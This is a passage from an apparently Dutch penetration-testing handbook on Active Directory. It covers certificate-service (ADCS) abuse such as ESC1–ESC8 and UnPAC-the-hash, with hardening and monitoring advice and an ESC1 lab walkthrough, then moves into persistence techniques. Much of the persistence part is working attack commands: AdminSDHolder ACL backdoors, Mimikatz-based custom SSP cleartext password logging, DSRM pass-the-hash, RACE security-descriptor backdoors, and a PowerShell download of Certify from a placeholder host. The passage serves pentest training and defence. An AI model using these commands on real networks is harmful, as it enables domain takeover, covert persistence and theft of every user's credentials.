Naast PKINIT kunnen certificaten ook via Schannel (TLS client authentication) gebruikt worden. Dit is minder gebruikelijk voor aanvallers, maar het principe is hetzelfde: de server vertrouwt het certificaat, extraheert de identiteit, en verleent toegang.

UnPAC-the-Hash

Een bijzonder handige techniek: wanneer je via PKINIT een TGT krijgt, bevat het antwoord een PAC (Privilege Attribute Certificate) met daarin de NTLM-hash van de gebruiker. Met Certipy kun je deze hash direct extraheren:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

De output bevat zowel het TGT als de NTLM-hash. Die hash kun je vervolgens gebruiken voor pass-the-hash aanvallen, zelfs als de certificaat-authenticatie later wordt geblokkeerd.

PassTheCert

Wat als PKINIT niet beschikbaar is? PassTheCert is een techniek die certificaten gebruikt voor LDAP-authenticatie via Schannel, waarna je direct DCSync kunt uitvoeren of andere AD-wijzigingen kunt doorvoeren. Het is een alternatieve route wanneer Kerberos-gebaseerde certificaatauthenticatie geblokkeerd is.

# PassTheCert via Certipy (LDAP Schannel)
certipy auth -pfx admin.pfx -dc-ip 10.0.0.1 -ldap-shell

Andere ESC-varianten

ESC2 — Any Purpose certificaten

Templates met Any Purpose EKU of helemaal geen EKU zijn bruikbaar voor alles, inclusief client authentication. Gecombineerd met brede enrollment-rechten is dit een route naar domain admin.

ESC4 — Template ACL abuse

Als je schrijfrechten hebt op een certificate template object in AD, kun je de template wijzigen om ENROLLEE_SUPPLIES_SUBJECT in te schakelen — waarna het ESC1 wordt. BloodHound detecteert deze schrijfrechten.

ESC7 — CA Officer rechten

Als je ManageCA rechten hebt op de CA, kun je jezelf ManageCertificates rechten geven. Daarmee kun je falende certificaataanvragen alsnog goedkeuren — ook die met een SAN die normaal geweigerd zou worden.

ESC8 — NTLM Relay naar Web Enrollment

Als de CA een web enrollment endpoint heeft zonder HTTPS of EPA (Extended Protection for Authentication), kun je NTLM-authenticatie relay-en naar dat endpoint om certificaten aan te vragen namens het slachtoffer. PetitPotam + ESC8 = domain admin.

Elke ESC-variant is een variatie op hetzelfde thema: ergens in de keten van “aanvraag -> validatie -> uitgifte -> gebruik” zit een gat. De aanvaller hoeft er maar een te vinden.

ESC-vergelijkingstabel

ESC Niveau Vereiste Complexiteit Impact
ESC1 Template ENROLLEE_SUPPLIES_SUBJECT + Client Auth + brede enrollment Laag Domain Admin
ESC2 Template Any Purpose EKU of geen EKU + brede enrollment Laag Domain Admin
ESC3 Template Enrollment Agent template + target template Gemiddeld Domain Admin
ESC4 Template ACL Schrijfrechten op template-object Gemiddeld Maakt ESC1 mogelijk
ESC6 CA config EDITF_ATTRIBUTESUBJECTALTNAME2 flag Laag Alle templates kwetsbaar
ESC7 CA ACL ManageCA rechten Gemiddeld Certificaten goedkeuren
ESC8 Web Enrollment HTTP (geen HTTPS) + geen EPA Gemiddeld Domain Admin via relay

De trend is duidelijk: hoe hoger het nummer, hoe complexer de aanval — maar ze leiden allemaal naar hetzelfde eindpunt. Domain admin. Het verschil zit in hoeveel stappen je nodig hebt en welke voorwaarden aanwezig moeten zijn.

Verdediging

Template hardening

De belangrijkste maatregel is het controleren van elke certificate template:

# Audit alle templates op bekende kwetsbaarheden
.\Certify.exe find /vulnerable

# Of vanuit Linux
certipy find -u admin@domain.local -p 'Password!' -dc-ip 10.0.0.1 -vulnerable

Voor elke template, controleer:

  1. Is ENROLLEE_SUPPLIES_SUBJECT nodig? In 95% van de gevallen niet. Schakel het uit.
  2. Wie heeft enrollment-rechten? Beperk tot specifieke groepen, niet Authenticated Users of Domain Users.
  3. Is Manager Approval ingeschakeld? Voor gevoelige templates zou elke aanvraag handmatig goedgekeurd moeten worden.
  4. Is de EKU beperkt? Geen Any Purpose. Alleen de specifieke key usages die nodig zijn.

CA hardening

# Check of ESC6 flag actief is
certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"

# Verwijder de ESC6 flag als deze actief is
certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# Herstart de CA service
net stop certsvc && net start certsvc

Configureer Enrollment Agent Restrictions om te beperken welke templates en doelaccounts Enrollment Agents mogen gebruiken.

Monitoring

Certificate enrollment events zijn een goudmijn voor detectie, als je ze inschakelt:

Event ID Beschrijving Belang
4886 Certificate request ontvangen Wie vraagt wat aan?
4887 Certificate request goedgekeurd en uitgegeven Welke SAN? Welke template?
4888 Certificate request geweigerd Iemand probeert iets ongewoons
4889 Certificate request pending Manager approval actief

Monitor specifiek op: - Certificaataanvragen met een SAN die afwijkt van de aanvrager - Gebruik van templates die normaal niet worden gebruikt - Enrollment Agent-certificaataanvragen - Wijzigingen aan template-configuratie

Remediation checklist

Een praktische checklist voor het beveiligen van je ADCS-omgeving:

[ ] Voer Certify.exe find /vulnerable of certipy find -vulnerable uit
[ ] Documenteer alle gevonden kwetsbare templates
[ ] Per template:
    [ ] Is ENROLLEE_SUPPLIES_SUBJECT nodig? Zo nee, uitschakelen
    [ ] Zijn de enrollment-rechten beperkt tot de juiste groepen?
    [ ] Is Manager Approval ingeschakeld voor gevoelige templates?
    [ ] Is de EKU beperkt tot wat nodig is?
    [ ] Is msPKI-RA-Signature > 0 waar nodig?
[ ] CA-level:
    [ ] Is EDITF_ATTRIBUTESUBJECTALTNAME2 uitgeschakeld?
    [ ] Zijn Enrollment Agent Restrictions geconfigureerd?
    [ ] Heeft de CA Web Enrollment HTTPS + EPA?
    [ ] Is de CA-key in een HSM opgeslagen?
[ ] Monitoring:
    [ ] Zijn Event IDs 4886-4889 ingeschakeld?
    [ ] Is er alerting op certificaten met afwijkende SAN?
    [ ] Is er alerting op ongebruikelijke template-aanvragen?
[ ] Organisatorisch:
    [ ] Is er een eigenaar aangewezen voor de PKI-infrastructuur?
    [ ] Worden templates periodiek gereviewed?
    [ ] Is er een procedure voor het intrekken van certificaten?

PKI best practices samengevat

  1. Audit je templates — regelmatig, niet eenmalig. Templates worden gekopieerd, aangepast, vergeten.
  2. Minimale rechten — enrollment alleen voor wie het nodig heeft.
  3. Manager Approval — voor templates die identiteiten uitgeven.
  4. Geen EDITF_ATTRIBUTESUBJECTALTNAME2 — tenzij je een heel goede reden hebt, en “het was makkelijker zo” is geen goede reden.
  5. Separeer CA-rollen — de CA-beheerder zou niet dezelfde persoon moeten zijn als de domain admin.
  6. CRL/OCSP — zorg dat revocatie daadwerkelijk werkt en gecontroleerd wordt.
  7. HSM — bewaar de CA private key in een Hardware Security Module, niet op de harde schijf van de server.
  8. Tier-model — de CA hoort in Tier 0, net als de domain controllers. Behandel hem ook zo.
  9. Geen Web Enrollment zonder EPA — als je Certificate Enrollment Web Services aanbiedt, gebruik HTTPS en schakel Extended Protection for Authentication in.
  10. Documentatie — documenteer elke template: wie heeft hem gemaakt, waarom bestaat hij, wie mag enrollen, en wanneer is hij voor het laatst gereviewd.

Lab walkthrough: ESC1 van begin tot eind

Voor wie het in de praktijk wil zien, hier een complete walkthrough vanuit een schone lab-omgeving. Je hebt nodig: een DC (dc01.yourlab.local) met ADCS geinstalleerd, een werkstation, en een gewoon gebruikersaccount.

Stap 1: Omgeving verifiëren

# Check of ADCS draait
certutil -config - -ping
# Verwachte output: naam van de CA en "Alive" status

# Controleer je huidige identity
whoami
# Verwacht: yourlab\normaluser

Stap 2: Certify deployen via IB

Gebruik het get_certify command om Certify naar het doelsysteem te downloaden. In IB, navigeer naar de Commands-pagina en klik op get_certify. Het script download Certify naar c:\windows\tasks\:

powershell -c (new-object System.Net.WebClient).DownloadFile(
  'http://YOUR_IB_IP/tools/Certify.exe',
  'c:\windows\tasks\Certify.exe'
)

Stap 3: Enumeratie

cd c:\windows\tasks
.\Certify.exe find /vulnerable

Zoek in de output naar een template met alle drie de voorwaarden: - ENROLLEE_SUPPLIES_SUBJECT - Client Authentication EKU - Enrollment rights voor jouw groep

Stap 4: Exploitatie

Voer de volledige ESC1-keten uit zoals eerder beschreven. Documenteer elke stap met screenshots voor je rapport.

Stap 5: Opruimen

Na de test, verwijder het certificaat en documenteer de bevinding:

# Verwijder het lokale certificaat
certutil -delstore My "SerialNumber"

# Verwijder bestanden
del c:\windows\tasks\Certify.exe
del c:\windows\tasks\esc1.pfx

IB — Gebruik de findings-module in IB om de bevinding vast te leggen. ADCS ESC1 is typisch een “Hoog” of “Kritiek” bevinding, afhankelijk van de impact. Neem screenshots op van de kwetsbare template-configuratie, het uitgegeven certificaat, en het bewijs van domain admin-toegang.

De ware waanzin

Laten we even stilstaan bij wat we hier zien. Active Directory Certificate Services is een fundamenteel onderdeel van de identiteitsinfrastructuur van vrijwel elke grote organisatie ter wereld. Het is ontworpen om vertrouwen te beheren. En het is zo complex, zo slecht gedocumenteerd, en zo makkelijk verkeerd te configureren dat een enkele checkbox in een template-wizard — een checkbox die standaard aanstaat bij bepaalde template types — voldoende is om een aanvaller van helpdesk-medewerker naar domain admin te promoveren.

Niemand begrijpt PKI. Dat is geen grap — het is een observatie. Ik heb het gevraagd aan systeembeheerders, security officers, zelfs aan mensen die de CA beheren. “Hoe werken je certificate templates?” wordt beantwoord met een blik die varieert van milde paniek tot existentiële crisis. Ze hebben het opgezet. Het werkt. Raken. We. Het. Niet. Aan.

En dat is precies het probleem. PKI is het fundament waarop authenticatie, encryptie en vertrouwen gebouwd zijn. Maar omdat niemand het begrijpt, controleert niemand het. Omdat niemand het controleert, wordt het niet gepatcht. En omdat het niet gepatcht wordt, is het jarenlang kwetsbaar. De “Certified Pre-Owned” paper beschreef kwetsbaarheden die al bestonden sinds de introductie van ADCS. Niet maanden. Jaren. Soms decennia.

Het is als een land dat zijn grondwet niet begrijpt maar er wel op vertrouwt. Iedereen gaat ervan uit dat iemand anders het in de gaten houdt. Maar niemand doet het. En op een dag komt er iemand langs die de grondwet daadwerkelijk leest, en ontdekt dat er een clausule in staat die zegt: “Wie dit leest, mag het land hebben.”

Referentietabel

Onderwerp IB Command Tool Moeilijkheid
CA en template enumeratie adcs_enum Certify.exe, Certipy Laag
Certify.exe downloaden get_certify PowerShell WebClient Laag
ESC1 — SAN misconfig adcs_esc1 Certify.exe, Rubeus Gemiddeld
ESC3 — Enrollment Agent adcs_esc3 Certify.exe, Rubeus Gemiddeld
ESC6 — CA flag misconfig adcs_esc6 certutil, Certify.exe Gemiddeld
PKINIT authenticatie (onderdeel van ESC1-6) Rubeus, Certipy Gemiddeld
Template hardening Certify /vulnerable Laag
CA flag controle adcs_esc6 (stap 1) certutil Laag

In het volgende hoofdstuk behandelen we persistentie — de kunst om te blijven, zelfs wanneer de verdedigers denken dat ze je eruit hebben gegooid. Want het enige dat erger is dan een inbreker in je huis, is een inbreker die er nooit meer weggaat.

Persistentie

Persistentie

Waarin we leren dat inbreken slechts het begin is, dat de werkelijke kunst ligt in het nooit meer weggaan, en dat de meeste organisaties hun backdoors pas ontdekken wanneer het al veel te laat is — als ze ze al ontdekken.

Zaden planten in de tuin

Er is een bijzonder soort tuinman — niet degene die planten verzorgt, maar degene die onkruid plant. Slim onkruid. Het soort dat er precies uitziet als de rozen die er al stonden. Dat zijn wortels diep in de grond boort, zodat je het niet kunt uittrekken zonder de hele border overhoop te halen. Dat zelfs na het maaien, harken en vergiftigen weer terugkomt, omdat er ergens een wortelstok zit die je over het hoofd hebt gezien.

Persistentie in een Active Directory-omgeving werkt precies zo. Een aanvaller die domain admin heeft bereikt — via Kerberoasting, ADCS-misbruik, of welke route dan ook uit de voorgaande hoofdstukken — staat voor een keuze. Optie A: tevreden zijn met de huidige toegang en hopen dat niemand het wachtwoord reset, de machine herstart, of de sessie beëindigt. Optie B: mechanismen planten die ervoor zorgen dat je altijd terug kunt keren. Ongeacht password resets. Ongeacht patches. Ongeacht het hele incident response-team dat in paniek door het gebouw rent.

Elke serieuze aanvaller kiest optie B. Niet uit gretigheid, maar uit professionalisme — of, als we het vanuit de verdedigerskant bekijken, uit pure terreur.

Het fascinerende aan AD-persistentie is hoe diep je kunt graven. Een gecompromitteerd gebruikersaccount is vervelend. Een backdoor in LSASS is erger. Maar een wijziging in de security descriptors van Active Directory zelf? Dat is het soort persistentie dat overleeft na een volledige herinstallatie van elke workstation in het netwerk, omdat het probleem niet op de workstations zit — het zit in de directory zelf.

In dit hoofdstuk behandelen we vijf persistentiemechanismen die een aanvaller met domain admin-rechten kan implementeren. Elk is lastiger te detecteren dan het vorige, en elk vereist diepere kennis om te verwijderen. Van AdminSDHolder-manipulatie tot de Skeleton Key — welkom in de wereld waar de inbreker nooit meer weggaat.

Waarom persistentie?

Laten we beginnen met de vraag die elke verdediger zou moeten stellen: waarom zou een aanvaller moeite doen om persistentie te implementeren?

Het antwoord is pragmatisch. Toegang tot een netwerk is fragiel. Wachtwoorden worden gereset. Sessies verlopen. Machines worden herstart. Antivirus vindt je implant. Het incident response-team sluit je C2-kanaal af. Zonder persistentie begin je weer bij nul.

Maar met persistentie heb je een verzekeringspolis. Een achterdeur. Een geheime ingang die je kunt gebruiken wanneer alle andere deuren dichtgaan. En in een Active Directory-omgeving, waar duizenden objecten, honderden GPO’s en tientallen vertrouwensrelaties een complex web vormen, zijn er talloze plaatsen om die achterdeur te verstoppen.

De meest voorkomende scenario’s:

  1. Na een password reset campagne: Het beveiligingsteam dwingt alle gebruikers hun wachtwoord te wijzigen. Prima. Maar jouw AdminSDHolder-backdoor werkt nog steeds.
  2. Na het patchen van de initiële kwetsbaarheid: De VPN-kwetsbaarheid waardoor je binnenkwam is gepatcht. Maar je Skeleton Key in LSASS draait nog.
  3. Na het opschonen van werkstations: Alle systemen worden opnieuw geïmaged. Maar je security descriptor-wijzigingen zitten in AD zelf, niet op de werkstations.
  4. Na het ontdekken van je C2: Het SOC vindt je command-and-control kanaal en blokkeert het. Maar je DSRM-backdoor op de DC biedt een alternatieve route.

Persistentie is het verschil tussen een eenmalig incident en een chronische infectie. En chronische infecties zijn wat organisaties nachten wakker houdt.

Het MITRE ATT&CK perspectief

In het MITRE ATT&CK framework vallen de technieken in dit hoofdstuk onder de tactiek “Persistence” (TA0003) en deels onder “Defense Evasion” (TA0005). De specifieke technieken:

Methode MITRE ATT&CK ID Techniek
AdminSDHolder T1098.xxx Account Manipulation
Custom SSP T1547.005 Security Support Provider
DSRM T1098 Account Manipulation
Security Descriptors T1222.001 File and Directory Permissions Modification
Skeleton Key T1556.001 Modify Authentication Process
Golden Certificate T1649 Steal or Forge Authentication Certificates
DCShadow T1207 Rogue Domain Controller

Het verschil met eerdere tactieken is subtiel maar cruciaal. Bij Initial Access (TA0001) gaat het om binnenkomen. Bij Privilege Escalation (TA0004) om hoger komen. Bij Persistence gaat het om blijven. De aanvaller is al binnen, heeft al de hoogste rechten, en wil nu garanderen dat die situatie permanent is. Het is het verschil tussen een inbraak en een bezetting.

Persistentie als assumptie

Een volwassen beveiligingsteam werkt vanuit de aanname dat persistentie al geimplementeerd is. Bij elk incident is de eerste vraag niet “zijn ze binnen?” maar “hoe lang zijn ze al binnen, en wat hebben ze geplant?” Dit is de “assume breach” mentaliteit — en het vereist een fundamenteel andere aanpak dan traditionele perimeter-beveiliging.

De traditionele aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan zijn we klaar.”

De volwassen aanpak: “We patchen de kwetsbaarheid, resetten de wachtwoorden, en dan beginnen we pas. Nu moeten we elke mogelijke persistentiemethode systematisch uitsluiten voordat we het incident als opgelost beschouwen.”

Die tweede aanpak duurt langer, kost meer, en vereist diepere expertise. Maar het is de enige die daadwerkelijk werkt.

AdminSDHolder

Het mechanisme

AdminSDHolder is een van de meest elegante persistentiemechanismen in Active Directory, en tegelijkertijd een van de minst begrepen. Om te begrijpen hoe het werkt, moeten we eerst begrijpen wat het beschermt.

Active Directory heeft een aantal “beschermde groepen” — Domain Admins, Enterprise Admins, Schema Admins, en een handvol anderen. Leden van deze groepen hebben zoveel macht dat Microsoft een speciaal mechanisme heeft bedacht om hun permissions te beschermen: SDProp (Security Descriptor Propagator).

SDProp draait elke 60 minuten op de PDC Emulator. Het doet iets eenvoudigs maar krachtig: het neemt de security descriptor (ACL) van het object CN=AdminSDHolder,CN=System,DC=domain,DC=local en kopieert die naar alle leden van beschermde groepen. Elke 60 minuten. Automatisch. Ongeacht wat er in de tussentijd is gewijzigd.

Het idee is verdedigend: zelfs als iemand per ongeluk de permissions op het Domain Admins-account wijzigt, herstelt SDProp ze binnen een uur. Slim.

Maar wat als je de permissions op AdminSDHolder zelf wijzigt?

De aanval

Als een aanvaller FullControl toevoegt aan het AdminSDHolder-object voor een gewoon gebruikersaccount, dan kopieert SDProp die permission naar alle beschermde groepen en hun leden. Elke 60 minuten. Automatisch. Het is alsof je een regel toevoegt aan de grondwet die zegt “Jan van de postkamer mag alles” — en die regel wordt elke uur automatisch opnieuw toegepast op alle overheidsinstellingen.

Stap 1: FullControl toevoegen aan AdminSDHolder

Import-Module .\PowerView.ps1

Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights All `
  -Verbose

Dit voegt een ACE (Access Control Entry) toe aan het AdminSDHolder-object die targetuser FullControl geeft.

Stap 2: SDProp forceren

Normaal wacht SDProp 60 minuten. Voor de ongedulige aanvaller:

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

Of handmatig via ldifde of dsmod. Na het forceren worden de permissions van AdminSDHolder gekopieerd naar alle beschermde objecten.

Stap 3: Verifieer de rechten

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.IdentityReferenceName -match "targetuser"}

Als de output een ACE toont met FullControl voor targetuser op het Domain Admins-object, is de persistentie actief.

Stap 4: Misbruik — jezelf toevoegen aan Domain Admins

Nu het sappige deel. targetuser heeft nu FullControl op het Domain Admins-object, wat betekent dat hij leden kan toevoegen:

Add-DomainGroupMember -Identity 'Domain Admins' -Members targetuser -Verbose

Klaar. targetuser is nu domain admin. En zelfs als het beveiligingsteam je uit Domain Admins verwijdert en het wachtwoord reset — de AdminSDHolder-ACL is nog steeds actief. Na 60 minuten krijgt targetuser automatisch weer FullControl. Je kunt jezelf opnieuw toevoegen. Ad infinitum.

IB — Het persist_adminsdholder command bevat de volledige keten: PowerView importeren, ACL wijzigen, SDProp forceren, verifiëren, en misbruiken. Vervang targetuser door het account dat je als backdoor wilt gebruiken — bij voorkeur een onopvallend account dat er al lang is, niet een account dat je net hebt aangemaakt.

Waarom dit zo effectief is

  1. Het overleeft password resets: De ACL is gekoppeld aan de SID van het account, niet het wachtwoord.
  2. Het herstelt zichzelf: SDProp kopieert de permissions elke 60 minuten opnieuw. Zelfs als iemand de ACL op Domain Admins corrigeert, wordt de backdoor automatisch hersteld.
  3. Het is subtiel: Een extra ACE in een lange lijst van ACE’s op AdminSDHolder valt niet op, tenzij je specifiek zoekt.
  4. Het vereist geen malware: Geen bestand op disk. Geen proces in het geheugen. Alleen een wijziging in Active Directory.

Beschermde groepen

De volledige lijst van groepen die door SDProp beschermd worden:

Account Operators          Domain Admins
Administrator              Domain Controllers
Administrators             Enterprise Admins
Backup Operators           Print Operators
Domain Admins              Read-only Domain Controllers
Replicator                 Schema Admins
Server Operators

Een ACE op AdminSDHolder propageert naar al deze groepen en hun leden. Dat maakt de impact enorm: een enkele ACL-wijziging geeft je controle over het hele spectrum van beschermde accounts. Niet alleen Domain Admins — ook Backup Operators (die bestanden van de DC kunnen lezen), Server Operators (die services op de DC kunnen beheren), en Account Operators (die gebruikersaccounts kunnen aanmaken en wijzigen).

Subtielere varianten

In plaats van FullControl kun je ook specifiekere rechten toekennen die minder opvallen maar nog steeds bruikbaar zijn:

# Alleen WriteMember rechten (kan groepsleden wijzigen)
Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights WriteMembers `
  -Verbose

# Alleen GenericWrite (kan attributen wijzigen)
Add-DomainObjectAcl `
  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
  -PrincipalIdentity targetuser `
  -Rights GenericWrite `
  -Verbose

WriteMembers is voldoende om jezelf aan Domain Admins toe te voegen, maar valt minder op dan FullControl in een ACL-audit. Een ervaren aanvaller kiest het minimale recht dat nodig is — net genoeg om terug te keren, niet genoeg om alarm te triggeren.

AdminSDHolder detectie

De baseline is simpel: documenteer de ACL van AdminSDHolder in een schone omgeving en vergelijk regelmatig:

# Baseline vastleggen
$baseline = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$baseline | Export-Csv -Path C:\baseline\adminsdholder_acl.csv -NoTypeInformation

# Periodieke vergelijking
$current = (Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access
$diff = Compare-Object -ReferenceObject $baseline -DifferenceObject $current `
  -Property IdentityReference, ActiveDirectoryRights

if ($diff) {
    # ALARM: AdminSDHolder ACL is gewijzigd!
    Send-MailMessage -To "soc@domain.local" -Subject "AdminSDHolder ACL gewijzigd" `
      -Body ($diff | Out-String) -SmtpServer smtp.domain.local
}

Custom SSP

Cleartext wachtwoorden loggen

Als AdminSDHolder een stille, elegante backdoor is, dan is de Custom SSP een schreeuwend onbeschaamde. Dit mechanisme laadt een kwaadaardige Security Support Provider (SSP) in het LSASS-proces op de domain controller, waarna elk wachtwoord dat wordt ingevoerd — bij elke login, elke authenticatie — in cleartext wordt gelogd naar een bestand.

Elk. Wachtwoord. In. Cleartext.

Het is het digitale equivalent van een verborgen camera boven het toetsenbord van de kassa. Iedereen die inlogt — gebruiker, beheerder, service account — levert zijn wachtwoord in bij de aanvaller.

Methode 1: Persistent via registry

Deze methode overleeft een reboot, maar vereist dat je een bestand plaatst en het register wijzigt:

# mimilib.dll kopiëren naar System32 en registeren als SSP
$packages = Get-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
  -Name 'Security Packages' |
  select -ExpandProperty 'Security Packages'

$packages += "mimilib"

Set-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ `
  -Name 'Security Packages' -Value $packages

Set-ItemProperty `
  HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
  -Name 'Security Packages' -Value $packages

Na een reboot van de DC wordt mimilib.dll geladen als SSP in LSASS. Elke authenticatie wordt gelogd naar:

C:\Windows\system32\mimilsa.log

Het formaat is simpel: timestamp, gebruikersnaam, domein, wachtwoord. In cleartext. Alsof iemand een notitieboekje naast de voordeur legt en elke bezoeker vraagt zijn pincode op te schrijven.

Methode 2: In-memory inject

Geen reboot nodig. Geen bestand op disk (behalve de log). Direct actief:

Invoke-Mimikatz -Command '"misc::memssp"'

Dit injecteert de SSP direct in het LSASS-geheugen. Het nadeel: het overleeft geen reboot. Het voordeel: geen registerwijziging, geen DLL op disk, moeilijker te detecteren.

De credentials worden alsnog gelogd naar C:\Windows\system32\mimilsa.log.

IB — Het persist_custom_ssp command bevat beide methoden. De registry-methode is persistent maar zichtbaarder (bestand + registerwijziging). De in-memory methode is stealthier maar niet persistent. Kies op basis van je scenario.

Let op: Dit is een van de meest invasieve persistentietechnieken. Alle wachtwoorden van alle gebruikers worden in cleartext opgeslagen. Gebruik dit uitsluitend in gecontroleerde labomgevingen of met expliciete, gedocumenteerde toestemming.

Detectie en verdediging

Custom SSP’s zijn detecteerbaar, maar alleen als je weet waar je moet kijken:

  1. Registry monitoring: Wijzigingen aan HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages moeten een alarm triggeren.
  2. DLL monitoring: Nieuwe DLL’s in C:\Windows\System32 die als SSP geregistreerd worden.
  3. LSA Protection: Windows 8.1+ en Server 2012 R2+ ondersteunen LSA als Protected Process Light (PPL). Dit voorkomt dat ongetekende DLL’s in LSASS geladen worden:
# LSA Protection inschakelen
New-ItemProperty `
  -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD
  1. Credential Guard: In Windows 10/Server 2016+ isoleert Credential Guard LSASS-secrets in een virtualized environment, waardoor zelfs een gecompromitteerde kernel ze niet kan benaderen.

Het cynische is dat de meeste organisaties geen van deze beschermingen ingeschakeld hebben. LSA Protection? “Dat breekt compatibiliteit met onze legacy-applicatie uit 2009.” Credential Guard? “We hebben geen Enterprise-licentie.” Registry monitoring? “Ons SIEM staat al op 40.000 events per seconde, we kunnen er niet meer bij.” En zo blijft de aanvaller wachtwoorden oogsten als een boer tijdens de oogst.

DSRM (Directory Services Restore Mode)

De vergeten achterdeur

Elke domain controller heeft een lokaal Administrator-account dat normaal niet gebruikt wordt: het DSRM-account. Dit account wordt aangemaakt wanneer de DC wordt gepromoveerd en is bedoeld voor noodherstel — wanneer Active Directory zelf niet meer werkt en je moet herstellen vanuit een backup.

Het DSRM-account is als een noodsleutel in een glazen kastje naast de branduitgang. Het is er voor noodgevallen. Niemand denkt eraan. Niemand controleert het. En het wachtwoord is waarschijnlijk nog hetzelfde als op de dag dat de DC vijf jaar geleden werd geïnstalleerd.

Maar het mooiste: het DSRM-account is lokaal. Het staat niet in Active Directory. Het wordt niet beïnvloed door domain-level password policies. Het wordt niet gereset bij “wijzig alle wachtwoorden” campagnes. Het is onzichtbaar voor de meeste monitoringtools.

De aanval

Stap 1: DSRM wachtwoord hash dumpen

Met domain admin-rechten en Mimikatz op de DC:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dc01

Dit dumpt de lokale SAM-database van de DC, inclusief de NTLM-hash van het DSRM Administrator-account. De output toont de hash van het lokale Administrator-account — dat is het DSRM-account.

Stap 2: Logon behavior aanpassen

Standaard kan het DSRM-account alleen inloggen wanneer de DC in DSRM-modus is opgestart (een speciale boot-modus). Maar een enkele registerwijziging verandert dat:

Enter-PSSession -ComputerName dc01

New-ItemProperty `
  "HKLM:\System\CurrentControlSet\Control\Lsa\" `
  -Name "DsrmAdminLogonBehavior" `
  -Value 2 `
  -PropertyType DWORD

Waarde 2 betekent: het DSRM-account kan altijd inloggen, niet alleen in DSRM-modus. Die ene registerwijziging transformeert een noodherstel-account in een permanente backdoor.

Stap 3: Pass the hash met het DSRM-account

Nu kun je op elk moment inloggen met de DSRM-hash:

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH /run:powershell.exe"'

Let op de /domain:dc01 parameter. Dit is cruciaal: je authenticeert tegen de lokale SAM van dc01, niet tegen Active Directory. Het is een pass-the-hash aanval met een lokaal account. Je krijgt een PowerShell-sessie als de lokale Administrator van de DC — wat in de praktijk dezelfde rechten geeft als domain admin, aangezien je op de DC zelf zit.

IB — Het persist_dsrm command bevat alle drie de stappen. Vervang dc01 door de hostnaam van de doelmachine en DSRM_NTLM_HASH door de hash uit stap 1. Merk op dat je domain admin-rechten nodig hebt voor zowel de SAM-dump als de registerwijziging.

Waarom dit zo effectief is

  1. Onzichtbaar voor AD-monitoring: Het DSRM-account staat niet in Active Directory. SIEM-regels die kijken naar AD-authenticatie missen dit.
  2. Overleeft password resets: Het DSRM-wachtwoord wordt niet gereset door domain-level operaties.
  3. Overleeft account lockouts: Lokale accounts worden niet vergrendeld door domain-level lockout policies.
  4. Minimale voetafdruk: Eén registerwijziging. Geen bestand op disk. Geen nieuw account.

Verdediging

Security Descriptors

De onzichtbare backdoor

Security Descriptor-backdoors zijn misschien wel het meest elegante persistentiemechanisme in dit hoofdstuk. Ze wijzigen de toegangsrechten (ACLs) op WMI namespaces, PowerShell Remoting endpoints, of registry keys op de domain controller, zodat een gewone gebruiker acties kan uitvoeren die normaal admin-rechten vereisen.

Het briljante: er is geen malware. Geen bestand. Geen registersleutel (behalve voor de registry-backdoor variant). Geen proces. Alleen een wijziging in de security descriptor van een bestaand Windows-subsysteem. Het is alsof je de sloten op de deuren niet verandert, maar een extra sleutel bijmaakt die er precies uitziet als de originele.

RACE Toolkit

De RACE (Remote ACL-based Exploitation) toolkit van Nikhil Mittal automatiseert het hele proces.

WMI backdoor:

Import-Module .\RACE.ps1

Set-RemoteWMI -SamAccountName targetuser -ComputerName dc01 `
  -namespace 'root\cimv2' -Verbose

Dit wijzigt de security descriptor van de WMI namespace root\cimv2 op dc01, zodat targetuser remote WMI-queries kan uitvoeren — zonder admin-rechten. WMI geeft toegang tot vrijwel alles: processen, services, registry, event logs. Het is een volledige remote management interface.

PSRemoting backdoor:

Set-RemotePSRemoting -SamAccountName targetuser -ComputerName dc01 -Verbose

Dit wijzigt de security descriptor van de PowerShell Remoting (WinRM) endpoint op dc01. targetuser kan nu Enter-PSSession of Invoke-Command gebruiken om commando’s uit te voeren op de DC — als een gewone gebruiker, zonder admin-rechten.

Remote Registry backdoor:

Add-RemoteRegBackdoor -ComputerName dc01 -Trustee targetuser -Verbose

Dit geeft targetuser leesrechten op de remote registry van dc01, inclusief de SAM en Security hives. Daarmee kun je hashes extraheren:

# Machine account hash ophalen
Get-RemoteMachineAccountHash -ComputerName dc01 -Verbose

# Lokale account hashes ophalen (inclusief DSRM!)
Get-RemoteLocalAccountHash -ComputerName dc01 -Verbose

# Gecachte domain credentials
Get-RemoteCachedCredential -ComputerName dc01 -Verbose

IB — Het persist_security_descriptors command bevat alle RACE-toolkit commando’s. Na het plaasten van de backdoors kun je als targetuser — een gewoon gebruikersaccount — de DC op afstand beheren, hashes dumpen, en credentials verzamelen. Zonder tools op de DC. Zonder admin-rechten op dat moment.

De kracht van deze aanval

Wat deze methode zo bijzonder maakt, is wat er niet verandert:

De enige verandering is een ACE in de security descriptor van een WMI namespace of WinRM endpoint. Om dit te detecteren, moet je de security descriptors van deze subsystemen actief monitoren — iets wat vrijwel geen organisatie doet.

Detectie

# WMI namespace security descriptor controleren
